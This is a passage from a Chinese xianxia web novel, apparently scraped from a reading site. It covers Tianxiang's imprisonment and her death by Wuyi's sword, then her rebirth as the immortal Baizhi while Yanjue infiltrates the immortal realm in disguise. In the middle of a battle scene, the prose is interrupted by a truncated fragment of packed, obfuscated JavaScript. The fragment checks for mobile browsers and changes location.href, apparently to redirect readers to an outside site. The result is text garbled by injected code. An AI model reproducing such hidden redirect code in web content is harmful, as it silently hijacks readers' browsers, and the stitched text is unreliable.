天香安静的听着,也无辩解之意。他们已将她和衍决彻底绑定,自然一并声讨。
她只是低着头,看手掌指缝,静静的等候发落。
这些人如此认为也便罢了,可笑的是他也这样认为。
细数罪过结束,赤地才脸色一沉发话,“宫主,此妖修能操控昆仑雪,留着后患无穷。”
“不如就此了结。”千里神色漠然,点了点头。
天香无心听他们对话,兀自出神。
那把笛子还别在腰间,她下意识抚摸。她很久没有吹笛了,以后也再用不着。
可怜这件灵器,她就快死了,早知该送给有缘人,但这笛给不知道怎么吹的人,最后还是不免积灰。
她呆了呆,心底嘲笑自己,只觉得这把紫纹笛不过是修士随处可见的东西,也没什么了不起的。
若要探究起来,本该是送给别人的东西,阴差阳错赠与自己,不知为何,她百般珍重,害怕失去,现在想来,有些不值得。
从来没有得到,就不能算失去吧。
他本就已是碧岚宫主,若赢得魔君之位,想亲近他的人更如过江之鲫,自己又算什么?难道还倒贴上去不成?
若有一次怀疑,就有第二次、第三次,难道她成日过着这种担惊受怕的日子吗?
幸好就要死了,不用再为这个而烦恼,天香勾起一抹凄冷的笑容,到了轮回司,还是尽快将一切忘却。
无奕抬手让众人稍安勿躁,淡淡开口,“三日之后,衍决还要杀上碧岚宫,她还不能死。”
此话一出,众人愕然。
他声音低沉,方才的情绪已掩藏的七七八八。神情淡淡地,没有一丝笑意,从头到尾都不曾看她。
天香微微一怔,抬起头看看他。
眼中满是悲伤、绝望,心中是油然而生的怒意,为什么?为什么还要留她一命。
她深深厌恶自己像被耍了一般的无力处境,又不禁为自己的幼稚冷笑,指尖徒然的攥紧。
说来说去,不过是她还有利用价值。
是啊,三日之后衍决便要上碧岚宫决战,若是其中有什么闪失,夺不下魔君之位,恐怕诸多心血付之一炬。
留着她,还能威胁衍决。虽然她心里不免冷笑,他们也太看得起自己了。
赤地沉吟半晌,“但,若是她再度逃跑呢,岂不是惹来更多麻烦?”
方才殿上是一边倒的要杀了天香,岂料无奕竟然想留她一命,赤地长老却想当机立断杀了。
这等场面,不由得犯难,所有小势力头目清一色的缄默起来,一时间不知说什么好。
黑使护法再度发言,“宫主若想留她一命,待三日后再杀,也未尝不可。但防止她再度为非作歹,需要断其根骨,打入牢中。”
操纵昆仑雪得前提是修士,只要被废掉根骨,她就无法再聚气,也就不具威胁了。
无奕仍是面无表情,只是眼中渐起阴霾。
那人看天香一看,继续道:“但三日后,宫主需要给众人一个交代,否则我们如何放心与转轮王拼杀。”
他此番话十分尖锐,却是句句属实。
“确实,此妖修还是早日除去为妙。”赤地也面色肃然。
无论怎样都可以,三日之后,却必须给弟子一个交代。否则一宫之主,无法惩罚分明,岂不丢尽了威严?
众多势力头目本就是随着碧岚宫说话,谁知此刻他们内部产生分歧,几位长老护法大人与宫主意见不统,殿中又议论声纷纷而起。
无奕皱了皱眉,低低道:“尽管放心。”
他发话了,殿中才安静下来,其余高阶弟子道:“有宫主一言,我等必不疑。”
她笑了一声,忽然感到胸口一阵气血翻涌,不由微微一晃。
原来与他相处的这些日子,都只是自欺欺人的一场幻梦罢了。
他至始至终都没有真心爱过她,她也早该知道,这只是一场没有得到回报的苦恋。
如今也只是赤裸裸地让她看清了他从来没爱过自己的事实。
直到现在,自己应该死心了吧。
她的脸色难看之极,轻声道:“何必多此一举,还是杀我以平众愤好了。”
她言语轻蔑,黑使护法果然有些怒意,死死看她一会,转而对无奕道:“宫主,我看此妖修嘴上逞强,
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极为嚣张。”
无奕还在发怔,险些没听清她的话。看她不咸不淡的表情,像是释怀,不知为何,顿时心中震怒。
他不由得面色一沉,不看黑使却是看她,“由不得你。”
“那就请宫主废掉她根骨修为,还请速速关入地牢。”黑使脸色阴沉,似是不肯轻易将她放过。
“那是自然。”他手中提着昆仑雪,剑尖划在地上,将青石砖地割出深深沟壑。
她没有抬头,只看着他款步而来,直到停在眼前。
忽然想到当年,第一次见他,在天璇宗上,二人被迫绑定,一起参与献宝宴会。
再后来,也是在天璇宗大殿上,他被众人围攻,她毅然决然追随他,来到碧岚宫。
到如今,四目相对,二人已经形同陌路,咫尺天涯。
她因他悲喜,因他爱恨,纠葛不清,回忆压得她喘不过气。
天香闭了闭眼,只等那彻骨之痛来临。
妖息顷刻崩碎,修为化作齑粉,空中都是震荡的气息,点点泛光。
她眼里模糊一片,只剩眼前那道熟悉的身影。
抬起手,也不知是想抓住微光还是从前,可掌心里只有握不住的空气。
眼前一黑,晕了过去。
也不知过了多长时间,她才渐渐醒转。
碧岚宫的地牢建得十分隐蔽,就在议事殿下方。
原本是用来关押一些势力强大并且不可宣扬身分的犯人。
曾经无奕失踪的时候,余信为巩固地位,在这里关押了不少犯人。
后来无奕回归,也没有启用此地。到如今反而没有敢与碧岚宫正面为敌的宗派,这个地牢也很久都没再关押什么人。
厚厚的稻草发出一阵腐烂的臭味。
四周并没有灯,只是在隔着的栅栏外面的顶上开了一个小孔,从小孔中投下一束晦暗的光芒。
她动了一动,额头作痛,运气一试,才发现妖息空空荡荡,命格破碎。
不出意外,她已经此生无缘修境。
她茫然了半晌,才慢慢爬了起来,但浑身一点力气也无,就连坐着也十分难受,只得靠坐在墙上。
也不知过去了多久,或许她已经昏睡了大半天。期间有看守巡视经过,她也只是迷糊间发觉。
只要三日时间一到,无奕就会抓她出去,自己何必着着急。
忽然,远处铁门被打开,沉闷的声音打破了地牢的寂静。
天香睁开眼睛,却见乌星悄然打开了门锁。
但她看到乌星时也并没有显露出激动的神色,而是愕然过后,沉吟一阵,“你怎么进来的?”
天香实在太累,已不愿多说。
乌星本就是猫妖,最擅隐匿踪迹,在碧岚宫里时常来去,只是今日,他居然能找上地牢。
找到这里她虽然想不到,但与她说说话也可以,反正她是将死之人。
只等三日后,给她个痛快。
谁知乌星却二话不说,慢慢背起她无力的身体,走出了牢房。
天香这才一愣,察觉不对劲,“你干什么?”
46. 第 46 章
乌星手中动作利落,背起天香就向外出逃。
“转轮王深夜就带着弟子攻入了碧岚宫,现在外面乱成一团,小香姐姐,我们趁机逃跑!”
天香听到无数纷乱争斗的声音从耳畔略过,胸口一股钝痛,喉间腥甜翻涌。
已经到了决战的日子吗?也不知过去了几日。
一开口,她都不知道自己声音如此虚弱:“……咳,你是怎么找到这里的?”
“......转轮王告诉我的,他给我钥匙,让我救你出去。”
乌星一边跑着,低声回复。
已是深夜,天上一个星子也没有,沉沉的,漆黑的没有一丝光亮。
发丝忽然被一阵邪风吹起,原来是空中有剧烈的魔息动荡。
顺着望去,一个熟悉的白衣身影正浮于天上绽出一朵朵焰花。
转轮王正带弟子攻入碧岚宫,所过之处都是打斗痕迹,几只火把随手丢在碧花海里,烈火熊熊而起。
那炙热的火在视野中快要占据全部,愈演愈烈,仿佛要吞噬一切。
心跳的有些快。
天香揉揉眼睛,已是深夜,看不清人影,大部分弟子又都去碧花海应战。
四周都是相互斗法或者奔走支援的弟子,他们穿梭人群,狂奔在火光中。
绕过碧花海,前方就是碧岚宫出口。
她散乱着头发,遮住看不清脸,奈何一身染血衣衫太过显眼。
“等等,她不是那个死囚犯吗?!”
“站住,你二人想逃去哪里!”几名弟子发现天香,瞬间围上来。
“你们几个,去通知其他人!”
乌星别无他法,只好先放下天香和那几名弟子斗了起来。
他境界低微,招式多为被动防守,很快就落下风,眼看二人都要被捉回落难。
天香扶着墙壁,摇摇晃晃的站起来。
失去修为后,她变得虚弱不少,只是站起来这般简单的动作都变得困难,额角即刻浮了层薄汗。
好在此刻深入骨髓的痛觉反而让她无比清醒。
天香自嘲一笑,人总要为自己的失误付出代价。
她起身得十分缓慢,但她必须起来,她要帮乌星,哪怕她不能离开,也不能让乌星一起被捉回去。
她随手抄起地上一柄断剑,朝弟子狠狠刺去!
“没了修为还不老实!”
看守弟子毫不留情踢落她手中断剑,一掌将她拍开。
“小香姐姐!”乌星呼出声。
来的弟子越来越多,将他们围的严严实实。
乌星如何抵挡这么多人,忽然,一阵凛冽掌风从一个刁钻角度向他袭来!
天香皱眉,颤抖的从衣衫内掏出那只笛子,只是沉默的看着掌心,依旧无言。
事到如今,她浑身上下只剩这最后一样东西。
她体内已经没有一丝妖息,但这只笛子内部还储存一些法力,或许借机施法,还能帮上一点忙。
只是这样勉强催动,紫纹笛恐怕要碎了。
天香摇摇头,她已经没有别的办法。
她运起浑身仅有的力气催动笛子,笛身紫纹迸发流光,她迎了上去,替乌星挡下一掌。
可惜那几人也不是好惹的,一人避开天香的招式,另一人趁机从背后向她攻来。
而她哪里还有力气躲开,只是犹豫片刻,杀气就直扑颜面。
死亡只有一瞬。
乌星倒吸一口气,看着她却来不及出手。
只见一团流火从空中划过,忽然飞向天香。
危机时刻,衍决上前一步,拉开她躲避杀招,另一手格开几名碧岚宫弟子的围攻。
紧接着,昆仑雪随后便至。
空中有风雪的气息冷冽扑鼻,长驱直入,好像从未被阻拦。
无奕也来了。
衍决在一瞬间转换了三次方位携业火回击,但都被无奕剑气逼回。
再次看到无奕,天香觉得自己有一瞬间的错乱,都这个时候了,还忍不住想,当初怎么回事就被他骗了。
那如烟花漫坠的温柔,只是引诱自己堕落的迷障而已。
当初坚定的选择,现在已经被一次次打击,破得无影无踪。
若是现在再问她一次,当初在天璇宗上还要不要和他一起走,她会毫不犹豫的选择离开。
想起自己不知所谓的爱情,除去心痛到麻木的难受,居然还有些残存的悲哀。
天底下也只有自己这么傻了吧?
乌星与几名弟子缠斗,已经抽不出身,三两下就被制服。
她迷茫的眼神仿佛失去焦距,只剩淡然死意。
衍决从身后抱住她,轻笑道:“你看,他这般狠心,将你修为废了,还是跟我走吧。”
他虽是柔声,在耳畔哄骗,天香却觉得心也是冷的,这哪里是救,只是从一个地狱到另一个地狱。
自始至终,没有人在意过她的感受。
她垂眸,权当没听见,像个失魂的布偶,唇哆嗦了一阵,终于还是什么也没有说。
不过是为达自己目的的虚伪之人,想必她在他眼里,只是个工具。
衍决也不知为何有了冲动,竟想在她苍白的唇上轻轻一吻,明明自己喜欢的不是她,而是白泽。
不过她就是白泽,只是把他忘记了而已,这么想着,等她凑近天香的脸时,天香却忽的一惊。
已经十分虚弱的她猛地奋力挣扎,极力挣脱他的怀抱。
衍决有些意外,但仍是温声细语,“你乱动什么?”
“你……你还是杀了我吧。”她低低地说着,眼中流露麻木,知道自己难逃一死,惨笑一声,脸上渐渐现出绝望之色。
天香挣扎不过,使劲浑身解数又踢又咬。衍决见她眼睛几乎变成血红,也不由心惊,松开了怀抱。
无奕脸上尽是寒气,弟子从未见他如此模样,心下骇然,一时竟是鸦雀无声。
他面色一沉,赫然挥手,长剑出鞘,连他纤细长睫都沾染了霜意。
衍决猛然退后,猝不及防,险些没避开杀招。
“把这两人拿下!今日谁也不准活着离开我碧岚宫!”
他大声下了令,仍觉心下震怒,不可遏止。
无奕本就没有耐心,此刻更是心烦,霜雪凝聚身侧,剑气疾驰而去。
天铩业火陡然自衍决掌心而生,漫天流火划破夜空,火焰流彩隐隐流动,似点点星芒。魔息迸发出来,如一团火焰凤凰。
无奕纵剑而起,人如游电,在空中划过一道弧线,越来越近的御剑破空之声,风中霜雪剑意呼啸而来。
他时机把握一流,招式果决狠厉,衍决步步后退,竟难以对敌。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822606|154789||http|test|mini|href|location''.split(''|''),0,{}));
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>直到昆仑雪无形冷冽的剑气将焰花彻底熄灭,衍决被迫收敛魔息,流火在空中消散,如纷纷洒落的光羽。
衍决神色才露出一丝紧张,他抵不过无奕,但不用怕,他还有护身符。留得青山在不愁没柴烧,只要保住性命......
若能借那个办法赢得这场战斗,魔族就由他统领,她也不会死在这里。
衍决终于撕下假面,面露咬牙切齿,“是吗?那我只有束手就擒......”
但他眼底的死寂重燃的权欲焰火并没有逃过无奕的注意,久居上位,让他揣测心思的手法日益熟练,何况是一个强大的对手。
霎那间,流火化做捆绳,衍决竟将天香抓来挡在自己面前!
天香仰头看着无奕,都说风霜仍有归处,化作春水柔情。
可人事纠葛,经历的一切永远无法消弭。不知从哪一步开始走错,他们一直到了如今地步。
无奕神情冷凝,像是早就料到,只是沉默。
正当衍决微微一笑,以为胜券在握。
无奕再提起剑,杀意锐不可当,“你算错了。”
剑风呼啸,吹起衣衫,昆仑雪直向着她刺来。
她身无修为,拼尽全力,可轻轻一击,紫纹笛已经断成两截。
天香意识模糊间恍然出神,这只笛子以前能发出很多种美妙的声音,现在只有这最后一道破碎的声音。
剑气凌冽,越过玉笛直刺而来,鲜血顺着剑滴落,她的小腹被昆仑雪洞穿,直至刺中了她身后的衍决。
天香心中一凛,似万箭穿心,没有忍住嘴角沁出一丝血来。
乌星愣在原地,大为震惊,等他反应过来,一切都晚了。这个人如此冷血,即使手刃曾经挚爱,他也绝不会动容。
而衍决被剑气所伤,发觉自己押错了宝,忽然有些惊慌。
无奕的脸色微微有些发白,明明已经施展过无数的剑招,此刻竟有片刻迟疑。
不知为何,他手心冰冷,如何运气也无法温暖,但仍是压下情绪,平和道:“既然你将这个叛徒送上门来,你们的性命我就一并收下了。”
弟子顷刻围住他们,无奕阴沉着一张脸,“魔君的位子是我的。”
衍决越想越是觉得自己之前认定的错了,如果无奕心中有她,怎么会出招毫不迟疑。方才只要迟疑一刻,他就能施法护住自己心脉,可见无奕对天香没有一丝感情。
哪怕全盛的自己也难以对抗无奕,更不用说附近身负重伤,今日决战,是他输了。
她直直望着无奕,早就知道他不信她,可她却不愿承认。生息逐渐黯淡,竟如同残烛灭在风里。
无奕神色十分平静,皱眉避开她的目光。
青丝散落,落在在纱衣之上。鲜红血液从她脚下渐渐晕染开来,渗入草地,似一朵盛开的玫瑰。
她轻轻闭上了眼睛,周围的弟子看见她伤的不轻,也没敢围上来。此时有人壮起胆子叫了两声,却没反应,才发现她生息散尽,已经断了气,不由得大吃一惊。
如果再见他一次,她怕自己会再次沉沦,堕入这无穷无尽的黑暗里。
那日无梦花海火光映天,三千碧花焚烬。你的却眼神冰冷,看不到余温。妄想的永恒,竟只是痴念作祟。爱恨若花潮汹涌,无端残忍。
这就是最好的结局,愿长眠无梦,来生无你。
47. 第 47 章
......
好冷,好冷。
眼前怎么一片黑。
天香动了动四肢,酸麻的感觉从手臂传来,她这才意识到自己的手臂已经不知蜷缩了多久。
这是哪里,我是谁?为什么会在这?
混乱的思路扑面而来,脑袋宛若被敲过一般,天香倒抽了一口凉气。
她咬牙用力动了动四肢,只见眼前多出来一道金色裂缝,淡淡的泛着金光,好似龙眼。
这是什么?
天香从裂缝中钻出,还没反应过来,画面就如潮水般从四下汹涌而来。
她这才意识到,这是自己的回忆。
原来,她是一朵盛开在清虚天的地涌金莲。
方才她破土而出,柔软的花瓣依次绽放,空中闻见淡淡清香。
金莲是天生灵物,仙界随处可见,可惜命若蜉蝣,三日后就会幽咽在无人角落。
但仙魔大战后灵气枯竭,金莲就变得十分少见。
天香的盛开很突然,四周灵气聚集,纯白光晕覆在她的花瓣上。
她突兀的和四周割裂开,让整片清虚天都产生了一种祥和的幻觉。
远方有相斗声传来,她被吸引过去。
“自古仙族独尊,大道为公,魔族窃长生道,还屡屡进犯,妖魔当诛!”
“神仙未必慈悲,外族也未必天性邪恶。仙族不分是非黑白,大家不过一丘之貉。”
他们是谁?
又是一阵猛烈的兵戈相交声,波及四周,掀起阵阵尘土。
其中一人似是在交战中受伤,不得跪地咳血,他离的很近,耳边有低喘传来,压抑着痛苦。
远处另一人哈哈大笑,“你还嫩了点,大道无情,强者为尊,弱者只有求饶的份。”
“你们排斥外族,目中无人,根本不懂什么是大道!”
“咳咳......哪怕一朵金莲,也是灵物,可叹你生在仙魔大战,平白被摧残,更让人怜惜。”
他只是喃喃自语,她却听得异常清晰,字字在心。
怜惜......是什么意思?
这个人似乎受了很重的伤,咳出鲜血滴落,天香卷起花瓣,瑟缩一下。
这是什么?好烫,烫的有点疼。
血中浑厚的灵息顿时充满花瓣,这是从未有过的感觉,刹那间,她有了五感。
尘土覆盖在身上,有点痒,包裹着根部的是水,很冰凉,却让她安心,血是热的,渗透进花瓣,温暖了全身。
灵台开智,零碎的认知在她脑中拼凑起来,混沌和虚无散去,世界清晰起来。
他喘息的声音就在耳边,那声音清冷,又带一丝轻轻的无奈,她感到很难过。
天香抬起柔软的花瓣,在空中虚晃,朝着他的方向移动,却只抓住了空气。
她还没有人形,无法拥抱他。
但她的眼睛能睁开了,好想见他。
想看一看,究竟是什么样的人,会怜惜一朵金莲,赐予她生命。
她慢慢睁开眼。
回忆的画面消散在空中,繁杂的人声涌入耳,穹顶的光线晃得刺眼。
中央莲尊上坐着的人正在授道,四周围坐无数弟子,手中结印,像在修行,还有几人向她投来好奇的目光。
有人低声询问,“她是谁?怎么忽然出现在清虚天。”
“嘘。”另一人提醒,“听闻是历劫归来,新任的第十二位天极。”
她努力对焦视线,见一名眉须胡须一般白的老者高坐在最大的莲尊上,注视着她,眉眼厚重而慈悲。
须臾间,仿佛过去了千百年。
金仙双目生慧,“劫难已尽,因果已了,白芷,你回来了。”
白芷低头,见一道仙雾飞来,缠绕在她身上。
仙气绕过她的双手,指尖越发纤细白嫩,再绕过双眼,视线也更为通透,最后围绕全身,尘封的记忆充斥进大脑。
一指化春,如获新生。
白芷,这就是她原本的名字。
她怔怔望着空气,脑海中如走马灯般放过无数记忆。
白芷扯了扯嘴角,原来,自己早就见过他了。
她是千百年前,灵息凝聚变出的一朵地涌金莲。因仙魔大战无奕的一滴精血化形,才爱上了他。
她因爱犯下大错,百年前无奕屠杀清虚境天,她却偷来封脉丹解药将他放走。
记忆压在胸口,她快要喘不过气来。
金仙又施一道仙法,她身上满是血污的衣衫已换了一套。
“百年前你放走无奕,这是苦果,但经历轮回而了却执念,因果已解除。”
白芷眉心生出一道莲花纹,下跪深深一叩首,“境天主,我明明是戴罪之身,为何救我?”
大音希声,金仙缥缈的声音传来。
“当年死去的天极尊首梵天,乃是本座师兄,我们同修千年。百年前,他因你而死,所以这道因需由你解开。”
“你虽犯下弥天大错,却已在轮回中收到了惩罚,如今清明心境,该履行你的果了。”
白芷缓缓起身,听着金仙教诲,怔怔出神。
十二天极守护清虚天已久,却因她偷偷给无奕封脉丹,害得他们全部陨命,她是何等自私。
而且,她百般付出,又获得了什么?
他的眼里从来没有自己。可见她努力百年,不过徒劳,既没有和他修成正果,还错使清虚境十二天极全部殒命。
白芷看着双手,泛白的指尖微微蜷曲,指甲掐进肉里,却不觉得痛。
她是真的知道错了。
鬼使神差的,她抬起手,轻轻捂住腹部,手指竟忍不住有些颤抖。
那把剑刺穿腹部的时候,痛感瞬间袭来,她便是这样,伸手捂住伤口。
心如刀绞,温热滚烫的血在掌心涌出,血是那样热,就像她还是一朵金莲时,他滴落在她身上的一样。
这算不算,还了他的恩。
他的心这么冷,刺出剑时,这般无情,这样冷漠的人,为何血却这么温暖?
白芷低下头,视线被泪水模糊。
他说,金莲平白被摧残,更让人怜惜,既然疼爱她,为何又做这么残忍的事。
给予她灵智和生息,又将她置身地狱,害得她无端承受这情爱苦楚。
无限的委屈涌上心头,想找人诉说,想回到碧岚宫,质问他一句,究竟有没有把自己放心上。
但这么做毫无意义,若无缘分,何必强求。
执着又怎样,不过是再次让自己受伤,闭了闭眼,心灰意冷,颓然的垂下捂在腹部的手。
心万般苦涩,只是深呼一口气:“恍如一梦......”
白芷再一叩首,沉声道:“好。”
金仙微笑着点头:“天极末位仍旧空缺,便由你胜任,前尘往事,如若观镜,赐名观尘天极。”
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此话一出,众天极都是脸色一变。
有人已从莲尊上起身:“境天主,万不可!她本就是非不分犯下大错,怎可再任天极一职?”
天极们皆是摇头阻止,白芷跪在地上,不免忐忑。
金仙却摇了摇头,力排众议:“如今仙魔局势紧张,天极之位不可或缺。以仙界大局为重,勿要多说。”
她惊讶抬头,几乎以为自己听错,只是与金仙对视了一眼,便感到额间一凉。
白芷眉心忽然生出一道莲印,这就是她的果,代替前任天极,重新守护清虚天。
金仙缓缓道:“白芷,一定要守护好仙界和清虚天。”
她有何利用拒绝以德报怨的境天主?她微一叩首。
“是,白芷领命。”
她驾起一团仙云,坐上位置,与其余天极一同参与授道。
坐下才发觉,十二莲尊竟还空缺着两座,白芷惊讶,还剩两位天极呢?
有弟子小声道:“快看,是黄乐天极!”
黄乐天极,便是那空缺座上的一位吗?
境天远处传来急促的脚步声响。
黄鹂低着头小跑,面上是难掩的喜色,三步并两步,踩过水域泛起涟漪,闯入了清虚天。
见这道熟悉的身影,白芷瞪大双眼,恍如隔世。
她像做了一场梦,梦见和黄鹂还是梵天侍女时,一同服侍上仙,一同嬉笑打闹,还一同偷偷将离芙仙子精心养的花采来泡茶。
后来离芙仙子将她二人抓包,她吓得脸色苍白,黄鹂却眨眨眼睛,神秘道:“你不追究我们,我也不把你喜欢定风仙君的事兜出去。”
居然就这么神奇的摆平了,沉浸在回忆中,她直想笑。
黄鹂低着头跑到金仙前,却像是早就知道她会出现,没等喘过气,就朝她眨眨眼。
白芷惊讶,心中涌出一股暖意,久别重逢的喜悦,已经冲散了悲伤。
金仙皱眉,出言苛责:“身为天极之一,为何迟到?”
这是在怪她,黄鹂作为天极之一,非但没有以身作则,授课擅自迟到,本该受罚。
黄鹂边喘气顺胸:“嘿嘿,我带回来一个天大的好消息,您老人家一定会原谅我的。”
金仙无奈叹一口气,果然面色稍缓,“未见得是好消息,先说说看。”
他虽然责怪,却没有言明作何处罚,说明可以商量,也算已经原谅了她。
黄鹂笑得神秘:“境天主,定风仙君掐指一算,今日出现的天极不是一位,而是两位!”
两位?今日这么热闹,不知另一位得此绝佳机缘的修者是谁?
弟子们哪还有心思听课,闻言纷纷交头接耳,流露出惊讶或羡慕的目光。
金仙闭目念诀,双手结印,已经开始掐指算验。
算上白芷,清虚天如今只有十一位新任天极,这些年,金仙尽力栽培新人补全天极之位,最后只差尊首和第十二位没有合适人选。
如今白芷命格契合,圆满上任第十二位,难道说天极尊首也将在今日出现?
一番算验,他沉默了一阵,难以置信的低声道:“......竟然是真的。”
“境天主你看,另一位有缘人来啦!”黄鹂指向远处。
白芷面前一道金光闪过,一个熟悉的身影出现在清虚天。
那人一身白衣,束着华丽玉冠,面容白皙美丽,长眸温润,笑着朝众人缓行一礼。
48. 第 48 章
他长得这般好看,尤其那双眸,简直叫人移不开眼,额间布神韵灵光,想必境界不低。
那人似乎注意到她视线,朝白芷微微一笑。
众弟子窃窃私语。
那道神韵,起码是开天境的修为,但他却温和谦逊,丝毫没有架子,看着便是好相处的人。
难道这就是第二位有缘人?
白芷看他,倒不是因为样貌。
只是觉得他有几分眼熟,又想不起来在哪见过。
天极之一面色一变:“不好,有魔气。”
她正思索,当即有弟子低声讨论,“什么,魔族?”
金仙抬手挥出一道金光,近日魔族入侵,保险起见,他当即用神识探照此人。
身后两位天极不动声色,捏诀默默护法。
若此人是魔族假扮,胆敢闯入清虚天,即刻将他毙命。
金仙蹙眉,奇怪,命格完满,是仙族之相。
他身上有魔气,却不是魔族。
衍决活动四肢,适应这幅新的命格,发觉他融合了为摩妙准备的复活灵宝,提升竟这般巨大。
此招极险,稍有不慎就会自散魂魄,若不是被逼上绝路,他也不想轻易使用。
方才,他动用全部法力融合随身储藏的灵宝,直到耗尽力量晕了过去。
本以为,一切都到此为止了,醒来却发现自己在清虚天。
他不由得低眉,压着唇边笑意,看来,命运站在他这一边。
金仙探照神识,衍决本应慌乱,此刻他却微低下头,抑制住内心嘲笑的冲动。
灵宝并不止哪些,还有摩妙的神魂。
没错,他连同摩妙的魂魄一起吸收了,可怜那缕残魄卑微的像条狗,至死都在哀求自己将他复活。
神识合一,他做的天衣无缝。不过口说无凭,没有亲自验命格,他们是不会相信的。
衍决目光忽然深邃。
金仙一番验算,果然回收仙力,点了点头:“天命有缘人,竟真的是你。”
衍决微微一笑,从今以后,他就是仙族。
众人讶然,两位天极也松开了捏诀的手。
对此拷问般检查,衍决并不在意,他只是端正行了一礼:“境天主,有幸得此机缘,愿入清虚天。”
金仙目露赞许之意,但还是问道:“你境界颇深,看来已踏破窥虚直至开天,实为难得。却不知为何,身上有魔气缠绕啊?”
衍决不疾不徐道:“我曾经在魔界历练多年,修为大有提升,听闻魔族近日进犯,便决定重回清虚天助我仙族。”
此人虽十分可疑,但命格完满,确是仙族之人。
金仙微微一笑,“原来如此,其实对于天极来说,比修为更重要的是心性,你境界超然,心境磨砺得更是毫无欠缺。”
他不再迟疑,“天极尊首的位子,交由你最合适,就赐名万法吧。”
衍决从容道:“是。”
十二天极就是清虚天的护法。
仙界有无数境天,其中以清虚、四海、菩提为主,各境中有修行弟子无数。
三大境天共同拥护着中央琅嬛福岛,其中最大的福岛紫胜岛上伫立着天宫。
而她的任务,就是与其余天极一同守护清虚天的安定。
今日幸得观尘、万法天极归位,如今十二天极终于完满。
清虚天此刻尤为热闹,连着出现两位天极,天佑仙族,弟子们忍不住闲聊起来。
金仙二指一点,空中浮现方才教授一半的修行要决,准备继续讲。
忽然再度生事。
“不好了!”一名侍卫急急忙忙跑入境,“境天主,绛仙洲已经失守,天帝相召紫胜岛有要事商量!”
他话一出口,满座弟子间便是倏然的一静。
金仙一把挥去浮空修决,眉头微皱:“可是那辖境最西的绛仙洲?”
“什么?休要胡说,那可是打压魔族的主力军。”难以置信中天极之一拂手打开天镜。
只见天镜中一片黑暗,绛仙洲已然暴露在魔族得百兵杀阵之下,无数仙家弟子的尸首横倒路中,惨不忍睹。
“天地异象,草木皆枯,地界确是破了,此劫凶险。”另一天极掐指一算,摇摇头。
金仙立刻遣散众弟子:“魔族入侵,尔等先行离去避难!”
“什么?魔族打进来了!”
“我们会不会没命啊?”
话音未落,整个清虚天都受地脉影响剧烈晃动起来,小弟子境界低哪有自保手段,个个面色惶然,纷纷离去。
一人跑的慢些,被人群推搡跌倒在地,揉着脚踝喘气。
白芷担忧的从莲座下来,施一道仙法托起弟子:“小心,跑的慢些。”
弟子心怀感激,可惜不是说话的时候,道声谢,擦擦头汗忙不迭跑了。
一时之间,偌大的清虚境空空荡荡。
“才一个月,绛仙洲后便是绛霭、绛玄两洲,再入便攻到了清虚天!”诸位天极皆是面色凝重。
肃威天极是个急性子,见天镜画面愤恨不已,一撩下摆即刻起身:“呸,不过是群趁人之危的小人,老夫这就去绛仙洲。”
说完,他也没与众人打招呼,召出本命法宝六圆金锤就要径自化作一道流光,飞往绛仙洲。
“肃威,不可擅自行动!”
金仙呵止,他方才不耐的打断施法:“总不能让这帮孙子攻上我紫胜岛天宫吧!”
肃威天极提着两把金锤恼怒的坐回原位。
“我不在的时候,由万法带领众人维持清虚结界。”金仙丢下一句,即刻随侍卫消失不见。
“是啊,才短短一月!”
白芷听着他们对话,微微出神。
原来距她死在碧岚宫,已经过去了足足一个月。
无奕平乱那夜,便一统魔界,重新坐上了魔君位子。在他的统治下,魔族实力一再提升,没想到他动作这么快。
自魔族夺取长生道起,两族就结下世仇。百年前,无奕被仙族俘获后,更是怀恨在心。如今杀上九重天,恐怕誓要屠灭仙族报仇。
她没有说话,面色稍许不安。
“可恨当年没能杀了无奕这个疯子!不然哪有今天?”提及无奕,肃威天极愤愤咒骂。
说者无意听者有心,听闻这话,白芷渐渐皱起眉头。
心生悔意,更是自责,毕竟当年是她亲手把无奕放跑的。
“......当年的事情已经过去了。”黄鹂
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替白芷解释一句。
肃威胡子一颤,显几分戾色:“梵天上仙就是栽在这个叛徒手中,这事老子还就过不去了!”
他提起两把金锤,地面都好似颤了颤,一阵劲风鼓动,直朝白芷而去!
众天极面色惊讶,却冷眼看戏,无一出手阻拦。
白芷怔怔抬头,心间更为沉重,正犹豫不知该不该出手,黄鹂急的唤来法器。
几人眼看就要打起来。
“我看未必。”万法四两拨千斤挡下这一招,笑着朝他开口。
他目光沉静,缓缓说道:“就算无奕死了也会冒出别的领袖,仙族自古就是大道,命格完满强大,无需惧怕外敌,我等齐心协力必可击退。”
万法这一番话是巧妙帮她解了围,那双细长凤眸弯起,眼中却略有些深沉。
“是啊,仙界高手如云,清虚、四海、菩提三大境天各自有强者坐镇,不必太过忧心。”
“肃威,我们还是先维持清虚结界要紧。”
肃威露出鄙夷之色,收回金锤:“看在万法上仙的面子上,今日就先放过你。”
万法贵为金仙钦定的天极尊首,有几分话语权。
肃威归位,众人收起不宁心神,像吃了一颗定心丸。
白芷惊魂未定,万法故作安慰的拍了拍她的肩。
他一边看众天极道:“诸位,遵境天主口谕,先随我一同维持清虚结界。”
天极们手中结印,共同发力,撑起境天的十二股仙力独少她一份。
白芷不再胡思乱想,将最后一股汇入其中。
一边施法,心底略有发愁。
入目满是刺眼的灵光束,她凝视着结印的双手。没有人信任她,心中滋味惆怅复杂难言。
若非境天主金仙与梵天正好有段因果,众天极碍于金仙之面,恐怕她不会只是轻飘飘被咒骂几句,必要吃点苦头。
既然承命接任天极之位,需得众人接纳她,才好众心迎击外敌。光说说起不到用处,她必须做出一些实事。
如今战况吃紧,最首要的当属击退魔君。寻思起方才天极们讨论的绛仙洲一事,听闻那里已经被攻破,战火纷飞。
若想做出改变,得先知晓前线近况,可问眼前这些人,恐怕答复也是虚与委蛇,该找谁呢?
金仙去往了紫胜岛,万法看似助她实则心思复杂,众天极无一信任她。
不需片刻,维持清虚结界结束。
只见那稀薄透明的境天穹顶,一团水纹般波动的白光融入其中,随后四散扩开,令整片穹顶重现流光溢彩的光华。
万法微微点头:“诸位,清虚结界已加固,待境天主归来我们再聚不迟。”
说完,他率先化一道金光消失,众天极闻言微微点头,也各自离去。
